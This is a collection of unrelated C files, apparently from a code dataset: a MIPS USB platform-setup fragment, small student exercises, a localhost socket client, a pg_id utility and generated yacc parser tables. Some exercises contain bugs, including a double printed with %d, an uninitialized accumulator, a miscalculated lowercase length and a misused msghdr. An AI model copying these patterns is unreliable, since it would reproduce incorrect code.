[0] = { /* EHCI-HS operational and capabilities registers */
.start = MSP_USB0_HS_START,
.end = MSP_USB0_HS_END,
.flags = IORESOURCE_MEM,
},
[1] = {
.start = MSP_INT_USB,
.end = MSP_INT_USB,
.flags = IORESOURCE_IRQ,
},
[2] = { /* MSBus-to-AMBA bridge register space */
.start = MSP_USB0_MAB_START,
.end = MSP_USB0_MAB_END,
.flags = IORESOURCE_MEM,
},
[3] = { /* Identification and general hardware parameters */
.start = MSP_USB0_ID_START,
.end = MSP_USB0_ID_END,
.flags = IORESOURCE_MEM,
},
};
static u64 msp_usbdev_dma_mask = 0xffffffffUL;
/* This may need to be converted to a mspusb_device, too. */
static struct mspusb_device msp_usbdev0_device = {
.dev = {
.name = "msp71xx_udc",
.id = 0,
.dev = {
.dma_mask = &msp_usbdev_dma_mask,
.coherent_dma_mask = 0xffffffffUL,
},
.num_resources = ARRAY_SIZE(msp_usbdev0_resources),
.resource = msp_usbdev0_resources,
},
};
#ifdef CONFIG_MSP_HAS_DUAL_USB
static struct resource msp_usbdev1_resources[] = {
[0] = { /* EHCI-HS operational and capabilities registers */
.start = MSP_USB1_HS_START,
.end = MSP_USB1_HS_END,
.flags = IORESOURCE_MEM,
},
[1] = {
.start = MSP_INT_USB,
.end = MSP_INT_USB,
.flags = IORESOURCE_IRQ,
},
[2] = { /* MSBus-to-AMBA bridge register space */
.start = MSP_USB1_MAB_START,
.end = MSP_USB1_MAB_END,
.flags = IORESOURCE_MEM,
},
[3] = { /* Identification and general hardware parameters */
.start = MSP_USB1_ID_START,
.end = MSP_USB1_ID_END,
.flags = IORESOURCE_MEM,
},
};
/* This may need to be converted to a mspusb_device, too. */
static struct mspusb_device msp_usbdev1_device = {
.dev = {
.name = "msp71xx_udc",
.id = 0,
.dev = {
.dma_mask = &msp_usbdev_dma_mask,
.coherent_dma_mask = 0xffffffffUL,
},
.num_resources = ARRAY_SIZE(msp_usbdev1_resources),
.resource = msp_usbdev1_resources,
},
};
#endif /* CONFIG_MSP_HAS_DUAL_USB */
#endif /* CONFIG_USB_GADGET */
static int __init msp_usb_setup(void)
{
char *strp;
char envstr[32];
struct platform_device *msp_devs[NUM_USB_DEVS];
unsigned int val;
/* construct environment name usbmode */
/* set usbmode <host/device> as pmon environment var */
/*
* Could this perhaps be integrated into the "features" env var?
* Use the features key "U", and follow with "H" for host-mode,
* "D" for device-mode. If it works for Ethernet, why not USB...
* -- hammtrev, 2007/03/22
*/
snprintf((char *)&envstr[0], sizeof(envstr), "usbmode");
/* set default host mode */
val = 1;
/* get environment string */
strp = prom_getenv((char *)&envstr[0]);
if (strp) {
/* compare string */
if (!strcmp(strp, "device"))
val = 0;
}
if (val) {
#if defined(CONFIG_USB_EHCI_HCD)
msp_devs[0] = &msp_usbhost0_device.dev;
ppfinit("platform add USB HOST done %s.\n", msp_devs[0]->name);
#ifdef CONFIG_MSP_HAS_DUAL_USB
msp_devs[1] = &msp_usbhost1_device.dev;
ppfinit("platform add USB HOST done %s.\n", msp_devs[1]->name);
#endif
#else
ppfinit("%s: echi_hcd not supported\n", __FILE__);
#endif /* CONFIG_USB_EHCI_HCD */
} else {
#if defined(CONFIG_USB_GADGET)
/* get device mode structure */
msp_devs[0] = &msp_usbdev0_device.dev;
ppfinit("platform add USB DEVICE done %s.\n"
, msp_devs[0]->name);
#ifdef CONFIG_MSP_HAS_DUAL_USB
msp_devs[1] = &msp_usbdev1_device.dev;
ppfinit("platform add USB DEVICE done %s.\n"
, msp_devs[1]->name);
#endif
#else
ppfinit("%s: usb_gadget not supported\n", __FILE__);
#endif /* CONFIG_USB_GADGET */
}
/* add device */
platform_add_devices(msp_devs, ARRAY_SIZE(msp_devs));
return 0;
}
subsys_initcall(msp_usb_setup);
#endif /* CONFIG_USB_EHCI_HCD || CONFIG_USB_GADGET */
|
the_stack_data/115765438.c
|
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
int main(){
system("cls");
float a,b,c;
printf("A: ");
scanf("%f",&a);
printf("B: ");
scanf("%f",&b);
printf("C: ");
scanf("%f",&c);
float r = pow(a+b,2);
float s = pow(b+c,2);
float d = (r+s)/2;
printf("\nResultado: %.2f",d);
return 0;
}
|
the_stack_data/44190.c
|
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
// A structure to represent a stack
struct Stack {
int top;
unsigned capacity;
int* array;
};
// function to create a stack of given capacity. It initializes size of
// stack as 0
struct Stack* createStack(unsigned capacity)
{
struct Stack* stack = (struct Stack*)malloc(sizeof(struct Stack));
stack->capacity = capacity;
stack->top = -1;
stack->array = (int*)malloc(stack->capacity * sizeof(int));
return stack;
}
// Stack is full when top is equal to the last index
int isFull(struct Stack* stack)
{
return stack->top == stack->capacity - 1;
}
// Stack is empty when top is equal to -1
int isEmpty(struct Stack* stack)
{
return stack->top == -1;
}
// Function to add an item to stack. It increases top by 1
void push(struct Stack* stack, int item)
{
if (isFull(stack))
return;
stack->array[++stack->top] = item;
printf("%d pushed to stack\n", item);
}
// Function to remove an item from stack. It decreases top by 1
int pop(struct Stack* stack)
{
if (isEmpty(stack))
return INT_MIN;
return stack->array[stack->top--];
}
// Function to return the top from stack without removing it
int peek(struct Stack* stack)
{
if (isEmpty(stack))
return INT_MIN;
return stack->array[stack->top];
}
// Driver program to test above functions
int main()
{
struct Stack* stack = createStack(100);
push(stack, 10);
push(stack, 20);
push(stack, 30);
printf("%d popped from stack\n", pop(stack));
return 0;
}
|
the_stack_data/82018.c
|
/*
ana-solv.c
A simple anagram solver in C.
(cc) 2021-01-12 BY Pete Laric
http://www.PeteLaric.com
*/
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#define BUFFER_SIZE 1000
int min_partial_word_length = 3; // Bully English class only accepts words of 3+ letters
void convert_to_lowercase(char *word, int word_length)
{
for (int i = 0; i < word_length; i++)
{
word[i] = tolower(word[i]);
}
}
void sort_word(char *inword, char *outword, int word_length)
{
strncpy(outword, inword, BUFFER_SIZE);
// bubble sort
// single pass
int swaps_made = 0;
do
{
// diagnostic:
//printf("%s\n", outword);
swaps_made = 0;
for (int i = 0; i < word_length-1; i++)
{
if (outword[i] > outword[i+1])
{
// swap 'em
char buf = outword[i];
outword[i] = outword[i+1];
outword[i+1] = buf;
swaps_made++;
}
}
} while (swaps_made > 0);
}
// returns 1 if small word can be made from big word letters; 0 otherwise
int can_be_made_from(char *big_word, int big_word_length, char *small_word, int small_word_length)
{
char bwc[BUFFER_SIZE];
char *big_word_copy = bwc;
strncpy(big_word_copy, big_word, big_word_length);
// iterate through each letter in small word
for (int i = 0; i < small_word_length; i++)
{
// iterate through each letter in large word
// try to find an instance of the small word letter
int letter_found = 0;
for (int j = 0; j < big_word_length && !letter_found; j++)
{
if (small_word[i] == big_word_copy[j])
{
// we found the letter
big_word_copy[j] = '*';
letter_found = 1;
break;
}
}
if (!letter_found) return 0;
}
return 1;
}
int dict_search(char *word_sorted, int word_length)
{
int matches_found = 0;
int partial_matches_found = 0;
FILE *fp = fopen("dictionary.txt", "r");
while (!feof(fp))
{
// read word from dictionary
char dw[BUFFER_SIZE];
char *dict_word = dw;
fscanf(fp, "%s", dict_word);
// check word length and convert to lower case
int dict_word_length = strlen(dict_word);
convert_to_lowercase(dict_word, word_length);
// diagnostic:
//printf("%s (%i)\n", dict_word, dict_word_length);
// if dictionary word is same size, and sorts to identical string,
// then we have a match
// sort dictionary word
char dws[BUFFER_SIZE];
char *dict_word_sorted = dws;
sort_word(dict_word, dict_word_sorted, dict_word_length);
if (!strcmp(word_sorted, dict_word_sorted))
{
// we have a match!
printf("%s", dict_word);
//printf("\t*** MATCH ***\n");
printf("\n");
matches_found++;
}
else if (can_be_made_from(word_sorted, word_length, dict_word, dict_word_length) && dict_word_length >= 3)
{
// we have a partial match!
printf("%s (partial match)", dict_word);
//printf("\t*** MATCH ***\n");
printf("\n");
partial_matches_found++;
}
}
fclose(fp);
return matches_found;
}
int main()
{
printf("\nINPUT WORD: ");
char iw[BUFFER_SIZE];
char *input_word = iw;
scanf("%s", input_word);
// check word length and convert to lower case
int word_length = strlen(input_word);
convert_to_lowercase(input_word, word_length);
printf("\nYOU ENTERED: %s", input_word);
printf("\nlength: %i", word_length);
printf("\n\n");
printf("sorting...\n");
char ws[BUFFER_SIZE];
char *word_sorted = ws;
sort_word(input_word, word_sorted, word_length);
printf("\nRESULT: %s", word_sorted);
printf("\n\n");
printf("ANAGRAMS:\n\n");
int matches_found = dict_search(word_sorted, word_length);
printf("\n%i matches found.\n", matches_found);
printf("\n\n");
return 0;
}
|
the_stack_data/403178.c
|
/*-------------------------------------------------------------------------
*
* pg_id.c--
* Print the user ID for the login name passed as argument,
* or the real user ID of the caller if no argument. If the
* login name doesn't exist, print "NOUSER" and exit 1.
*
* Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* $Header: /usr/local/cvsroot/postgres95/src/bin/pg_id/pg_id.c,v 1.1.1.1 1996/07/09 06:22:14 scrappy Exp $
*
*-------------------------------------------------------------------------
*/
#include <sys/types.h>
#include <pwd.h>
#include <stdio.h>
int
main(int argc, char **argv)
{
struct passwd *pw;
int ch;
extern int optind;
while ((ch = getopt(argc, argv, "")) != EOF)
switch (ch) {
case '?':
default:
fprintf(stderr, "usage: pg_id [login]\n");
exit(1);
}
argc -= optind;
argv += optind;
if (argc > 0) {
if (argc > 1) {
fprintf(stderr, "usage: pg_id [login]\n");
exit(1);
}
if ((pw = getpwnam(argv[0])) == NULL) {
printf("NOUSER\n");
exit(1);
}
printf("%d\n", pw->pw_uid);
} else {
printf("%d\n", getuid());
}
exit(0);
}
|
the_stack_data/1159369.c
|
/* [printfデバッグに便利なファイル行数表示マクロ - 風と宇宙とプログラム](http://d.hatena.ne.jp/mindcat/20090523/1243045233) */
#include<stdio.h>
#define _STR(x) #x
#define _STR2(x) _STR(x)
#define __SLINE__ _STR2(__LINE__)
#define HERE __FILE__ "(" __SLINE__ ")"
/* [トリッキーなコード - デバッグ用printfマクロ](http://tricky-code.net/nicecode/code10.php) */
#define DEBUG
#ifdef DEBUG
#define dprintf printf
#else
#define dprintf 1 ? (void) 0 : printf
#endif
#define dphere() dprintf(HERE "\n")
int main(int argc, char** argv)
{
dprintf(HERE "\n");
dphere();
return 0;
}
|
the_stack_data/126330.c
|
#include <stdio.h>
#include <stdlib.h>
void matriz(int M[][100], int ordem)
{
int l, c;
/*M = (int **)malloc(ordem * sizeof (int *));
for (l = 0; l < ordem; ++l)
M[l] = (int *)malloc(ordem * sizeof (int));*/
for (c = 0; c < ordem; ++c)
{
for (l = 0; l < ordem; ++l)
{
printf("Valor[%d][%d]: ", c, l);
scanf ("%d", &M[c][l]);
}
}
for (c = 0; c < ordem; c++)
{
for (l = 0; l < ordem; l++)
{
printf("%d ", M[c][l]);
}
printf("\n");
}
/*free (M);
M = NULL;
return 0;*/
}
void teste_permutacao(int M[][100], int ordem)
{
int i, j, cont1=0, cont2=0, aux=1;
for (i=0; i < ordem; i++)
{
for(j=0; j<ordem; j++)
{
if(M[i][j]==0)
{
cont1++;
}
if(M[i][j]==1)
{
cont2++;
}
}
}
printf("%d\n", cont1);
printf("%d\n", cont2);
}
|
the_stack_data/101476.c
|
#include <stdio.h>
int main()
{
int i,j;
double fact=1,temp;
for(i=1;i<=7;i++)
{
for(j=1;j<=i;j++)
{
fact = fact * j;
}
temp += (i/fact);
printf("Expression (%d/%d)\n",i,fact);
fact = 1;
}
printf("Result = %lf",temp);
}
|
the_stack_data/211080995.c
|
#include <stdio.h>
void main(void) {
printf("Hello world!\n");
}
|
the_stack_data/145453195.c
|
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#define PORT 8080
int Send() {
printf("xxxxxx1\n");
char *hello = "Hello from client";
struct iovec iov[1];
iov[0].iov_base = hello;
iov[0].iov_len = strlen(hello);
struct msghdr mh;
mh.msg_name = hello;
mh.msg_namelen = strlen(hello);
mh.msg_iov = iov;
mh.msg_iovlen = 1;
mh.msg_control = hello;;
mh.msg_controllen = strlen(hello);
mh.msg_flags = 0;
printf("xxxxxx2\n");
int sock = 0;
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Socket creation error \n");
return -1;
}
printf("xxxxxx3\n");
int ret = sendmsg(sock, &mh, 0);
printf("output is %d\n", ret);
return ret;
}
int main(int argc, char const *argv[])
{
//printf("xxxxxx\n");
//return Send();
int sock = 0, valread;
struct sockaddr_in serv_addr;
char *hello = "Hello from client";
char buffer[1024] = {0};
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Socket creation error \n");
return -1;
}
printf("start to connect \n");
sleep(1);
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
// Convert IPv4 and IPv6 addresses from text to binary form
if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0)
{
printf("\nInvalid address/ Address not supported \n");
return -1;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\nConnection Failed \n");
return -1;
}
printf("Accept Remote IP address is: %s\n", inet_ntoa(serv_addr.sin_addr));
printf("Accept Remote port is: %d\n", (int) ntohs(serv_addr.sin_port));
struct sockaddr_in sa;
int sa_len;
sa_len = sizeof(sa);
if (getsockname(sock, &sa, &sa_len) == -1) {
perror("getsockname() failed");
return -1;
}
printf("Local IP address is: %s\n", inet_ntoa(sa.sin_addr));
printf("Local port is: %d\n", (int) ntohs(sa.sin_port));
if (getpeername(sock, &sa, &sa_len) == -1) {
perror("getsockname() failed");
return -1;
}
printf("Remote IP address is: %s\n", inet_ntoa(sa.sin_addr));
printf("Remote port is: %d\n", (int) ntohs(sa.sin_port));
valread = read(sock , buffer, 1024);
printf("%s\n",buffer );
int i = write(sock , hello , strlen(hello));
printf("client: Hello message sent %d bytes\n", i);
sleep(1);
i = send(sock , hello , strlen(hello) , 0 );
printf("client: Hello message sent %d bytes\n", i);
valread = recvfrom(sock , buffer, 1024, 0, &sa, &sa_len);
printf("%d recvfrom: %s\n", valread, buffer);
printf("recvfrom: Remote IP address is: %s\n", inet_ntoa(sa.sin_addr));
printf("recvfrom: Remote port is: %d\n", (int) ntohs(sa.sin_port));
struct iovec iov[3];
iov[0].iov_base = hello;
iov[0].iov_len = strlen(hello);
iov[1].iov_base = hello;
iov[1].iov_len = strlen(hello);
iov[2].iov_base = hello;
iov[2].iov_len = strlen(hello);
struct msghdr mh;
mh.msg_name = 0;
mh.msg_namelen = 0;
mh.msg_iov = iov;
mh.msg_iovlen = 3;
mh.msg_control = NULL;
mh.msg_controllen = 0;
mh.msg_flags = 0;
for (i=0; i< 10; i++) {
int n = sendmsg(sock, &mh, 0);
printf("client: sendmsg sent %d bytes\n", n);
}
return 0;
}
|
the_stack_data/93887805.c
|
/*
Escriba un programa que calcule la media de puntos obtenidos en las últimas 5 partidas de tu videojuego favorito
con 3 de tus jugadores favoritos. Usando matrices
------------------------------------- Problema resuelto por pasos ---------------------------------------------------
1) Declarar e inicializar una matriz de 3 filas y 5 elementos
a) como hacerlo en codigo?
*) float matriz[3][5]
2) cada fila representara a cada uno de los 3 jugadores donde cada elemento respresentara a los puntajes obtenidos
en las ultimas 5 partidas
3) sacar el promedio de los elementos de la matriz
a) como sacar un promedio?
*) sumar todos los valores
*) dividir la suma de los valores entre el numero de valores
*) ejem:
n + n + n = n3
n3 / 3 = promedio de n3
b) Como pasar la ecuacion en codigo
*) float mat[2][3] .....
*) op1 = (mat[0][0] + mat[0][1] + mat[0][2]) / 3
*) op2 = (mat[1][0] + mat[1][1] + mat[1][2]) / 3
4) Imprima el resultado de las ecuaciones por pantalla!
*/
#include <stdio.h>
#define JUGADORES 3
#define PARTIDAS 5
int main() {
float matriz[JUGADORES][PARTIDAS] = {{123.77, 88.9, 110.05, 70, 45.01}, {88.77, 95.9, 265.05, 100, 200.01}, {200.77, 255.9, 10.05, 8, 300.01}};
float op1 = (matriz[0][0] + matriz[0][1] + matriz[0][2] + matriz[0][3] + matriz[0][4]) / PARTIDAS;
float op2 = (matriz[1][0] + matriz[1][1] + matriz[1][2] + matriz[1][3] + matriz[1][4]) / PARTIDAS;
float op3 = (matriz[2][0] + matriz[2][1] + matriz[2][2] + matriz[2][3] + matriz[2][4]) / PARTIDAS;
printf("Your average wiht player1 is: %f\n", op1);
printf("Your average wiht player2 is: %f\n", op2);
printf("Your average wiht player3 is: %f\n", op3);
return 0;
}
|
the_stack_data/92324352.c
|
#include <stdio.h>
int main() {
while(1) {
printf("Don't tell me\n ");
printf("I don't want to hear your problems\n");
printf("Don't tell me\n");
printf("I don't want to hear your shit\n");
}
}
|
the_stack_data/100140330.c
|
#include<stdio.h>
int main() {
int n, year, choice = 0;
float val, tag, deprec;
while (choice != 4) {
printf("Method : (1-SL 2-DDB 3-SYD 4-End) : ");
scanf("%d", &choice);
if (choice >= 1 && choice <= 3) {
printf("Original value: ");
scanf("%f", &val);
printf("Number of years: ");
scanf("%d", &n);
}
switch (choice) {
case 1:
printf("Straight-Line Method\n\n");
deprec = val/n;
for (year = 1; year <= n; year++){
val = val-deprec;
printf("End of Year %2d", year);
printf(" Depreciation: %7.2f", deprec);
printf(" Current Value: %8.2f\n", val);
}
break;
case 2:
printf("Double-Declining-Balance Method\n\n");
for (year = 1; year <= n; year++){
deprec = 2*val/n;
val = val - deprec;
printf("End of Year %2d", year);
printf(" Depreciation: %7.2f", deprec);
printf(" Current Value: %8.2f\n", val);
}
break;
case 3:
printf("Sum-of-the-Year Method\n\n");
tag= val;
for (year = 1; year <= n; year++){
deprec = (n-year+1)*tag/(n*(n+1)/2);
val = val - deprec;
printf("End of Year %2d", year);
printf(" Depreciation: %7.2f", deprec);
printf(" Current Value: %8.2f\n", val);
}
break;
case 4:
printf("Gooodbye, have a nice day !\n");
break;
default :
printf("Incorrect data entry, please try again\n");
} /* End Switch*/
} /* End While*/
return 0;
}
|
the_stack_data/126703826.c
|
/* original parser id follows */
/* yysccsid[] = "@(#)yaccpar 1.9 (Berkeley) 02/21/93" */
/* (use YYMAJOR/YYMINOR for ifdefs dependent on parser version) */
#define YYBYACC 1
#define YYMAJOR 2
#define YYMINOR 0
#define YYCHECK "yyyymmdd"
#define YYEMPTY (-1)
#define yyclearin (yychar = YYEMPTY)
#define yyerrok (yyerrflag = 0)
#define YYRECOVERING() (yyerrflag != 0)
#define YYENOMEM (-2)
#define YYEOF 0
#undef YYBTYACC
#define YYBTYACC 1
#define YYDEBUGSTR (yytrial ? YYPREFIX "debug(trial)" : YYPREFIX "debug")
#ifndef yyparse
#define yyparse destroy1_parse
#endif /* yyparse */
#ifndef yylex
#define yylex destroy1_lex
#endif /* yylex */
#ifndef yyerror
#define yyerror destroy1_error
#endif /* yyerror */
#ifndef yychar
#define yychar destroy1_char
#endif /* yychar */
#ifndef yyval
#define yyval destroy1_val
#endif /* yyval */
#ifndef yylval
#define yylval destroy1_lval
#endif /* yylval */
#ifndef yydebug
#define yydebug destroy1_debug
#endif /* yydebug */
#ifndef yynerrs
#define yynerrs destroy1_nerrs
#endif /* yynerrs */
#ifndef yyerrflag
#define yyerrflag destroy1_errflag
#endif /* yyerrflag */
#ifndef yylhs
#define yylhs destroy1_lhs
#endif /* yylhs */
#ifndef yylen
#define yylen destroy1_len
#endif /* yylen */
#ifndef yydefred
#define yydefred destroy1_defred
#endif /* yydefred */
#ifndef yystos
#define yystos destroy1_stos
#endif /* yystos */
#ifndef yydgoto
#define yydgoto destroy1_dgoto
#endif /* yydgoto */
#ifndef yysindex
#define yysindex destroy1_sindex
#endif /* yysindex */
#ifndef yyrindex
#define yyrindex destroy1_rindex
#endif /* yyrindex */
#ifndef yygindex
#define yygindex destroy1_gindex
#endif /* yygindex */
#ifndef yytable
#define yytable destroy1_table
#endif /* yytable */
#ifndef yycheck
#define yycheck destroy1_check
#endif /* yycheck */
#ifndef yyname
#define yyname destroy1_name
#endif /* yyname */
#ifndef yyrule
#define yyrule destroy1_rule
#endif /* yyrule */
#if YYBTYACC
#ifndef yycindex
#define yycindex destroy1_cindex
#endif /* yycindex */
#ifndef yyctable
#define yyctable destroy1_ctable
#endif /* yyctable */
#endif /* YYBTYACC */
#define YYPREFIX "destroy1_"
#define YYPURE 0
#line 4 "btyacc_destroy1.y"
#include <stdlib.h>
typedef enum {cGLOBAL, cLOCAL} class;
typedef enum {tREAL, tINTEGER} type;
typedef char * name;
struct symbol { class c; type t; name id; };
typedef struct symbol symbol;
struct namelist { symbol *s; struct namelist *next; };
typedef struct namelist namelist;
struct parser_param {
int *rtrn;
symbol ss;
};
extern symbol *mksymbol(type t, class c, name id);
#ifdef YYBISON
#define YYLEX_DECL() yylex(void)
#define YYERROR_DECL() yyerror(const char *s)
#endif
#ifdef YYSTYPE
#undef YYSTYPE_IS_DECLARED
#define YYSTYPE_IS_DECLARED 1
#endif
#ifndef YYSTYPE_IS_DECLARED
#define YYSTYPE_IS_DECLARED 1
#line 50 "btyacc_destroy1.y"
typedef union YYSTYPE
{
class cval;
type tval;
namelist * nlist;
name id;
} YYSTYPE;
#endif /* !YYSTYPE_IS_DECLARED */
#line 160 "btyacc_destroy1.tab.c"
/* compatibility with bison */
#ifdef YYPARSE_PARAM
/* compatibility with FreeBSD */
# ifdef YYPARSE_PARAM_TYPE
# define YYPARSE_DECL() yyparse(YYPARSE_PARAM_TYPE YYPARSE_PARAM)
# else
# define YYPARSE_DECL() yyparse(void *YYPARSE_PARAM)
# endif
#else
# define YYPARSE_DECL() yyparse(struct parser_param *param, int flag)
#endif
/* Parameters sent to lex. */
#ifdef YYLEX_PARAM
# define YYLEX_DECL() yylex(void *YYLEX_PARAM)
# define YYLEX yylex(YYLEX_PARAM)
#else
# define YYLEX_DECL() yylex(void)
# define YYLEX yylex()
#endif
/* Parameters sent to yyerror. */
#ifndef YYERROR_DECL
#define YYERROR_DECL() yyerror(struct parser_param *param, int flag, const char *s)
#endif
#ifndef YYERROR_CALL
#define YYERROR_CALL(msg) yyerror(param, flag, msg)
#endif
#ifndef YYDESTRUCT_DECL
#define YYDESTRUCT_DECL() yydestruct(const char *msg, int psymb, YYSTYPE *val, struct parser_param *param, int flag)
#endif
#ifndef YYDESTRUCT_CALL
#define YYDESTRUCT_CALL(msg, psymb, val) yydestruct(msg, psymb, val, param, flag)
#endif
extern int YYPARSE_DECL();
#define GLOBAL 257
#define LOCAL 258
#define REAL 259
#define INTEGER 260
#define NAME 261
#define YYERRCODE 256
typedef int YYINT;
static const YYINT destroy1_lhs[] = { -1,
0, 0, 2, 2, 3, 3, 4, 4, 1,
};
static const YYINT destroy1_len[] = { 2,
8, 5, 1, 1, 1, 1, 2, 1, 6,
};
static const YYINT destroy1_defred[] = { 0,
3, 4, 5, 6, 0, 0, 0, 0, 8, 0,
0, 0, 0, 7, 0, 0, 0, 0, 0, 2,
0, 0, 0, 0, 9, 1,
};
#if defined(YYDESTRUCT_CALL) || defined(YYSTYPE_TOSTRING)
static const YYINT destroy1_stos[] = { 0,
257, 258, 259, 260, 263, 265, 266, 266, 261, 264,
267, 267, 40, 261, 40, 40, 265, 258, 265, 41,
44, 44, 266, 266, 41, 41,
};
#endif /* YYDESTRUCT_CALL || YYSTYPE_TOSTRING */
static const YYINT destroy1_dgoto[] = { 5,
10, 6, 7, 11,
};
static const YYINT destroy1_sindex[] = { -254,
0, 0, 0, 0, 0, -251, -248, -248, 0, -26,
-40, -39, -246, 0, -243, -246, -25, -24, -23, 0,
-251, -251, -22, -19, 0, 0,
};
static const YYINT destroy1_rindex[] = { 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0,
};
#if YYBTYACC
static const YYINT destroy1_cindex[] = { 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0,
};
#endif
static const YYINT destroy1_gindex[] = { 0,
0, -6, -4, 15,
};
#define YYTABLESIZE 222
static const YYINT destroy1_table[] = { 15,
16, 8, 1, 2, 3, 4, 17, 3, 4, 19,
1, 2, 9, 13, 18, 20, 23, 24, 25, 21,
22, 26, 12, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
14, 14,
};
static const YYINT destroy1_check[] = { 40,
40, 6, 257, 258, 259, 260, 13, 259, 260, 16,
257, 258, 261, 40, 258, 41, 21, 22, 41, 44,
44, 41, 8, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
261, 261,
};
#if YYBTYACC
static const YYINT destroy1_ctable[] = { -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1,
};
#endif
#define YYFINAL 5
#ifndef YYDEBUG
#define YYDEBUG 0
#endif
#define YYMAXTOKEN 261
#define YYUNDFTOKEN 268
#define YYTRANSLATE(a) ((a) > YYMAXTOKEN ? YYUNDFTOKEN : (a))
#if YYDEBUG
static const char *const destroy1_name[] = {
"$end",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,"'('","')'",0,0,"','",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"error","GLOBAL","LOCAL",
"REAL","INTEGER","NAME","$accept","declaration","locnamelist","class","type",
"namelist","illegal-symbol",
};
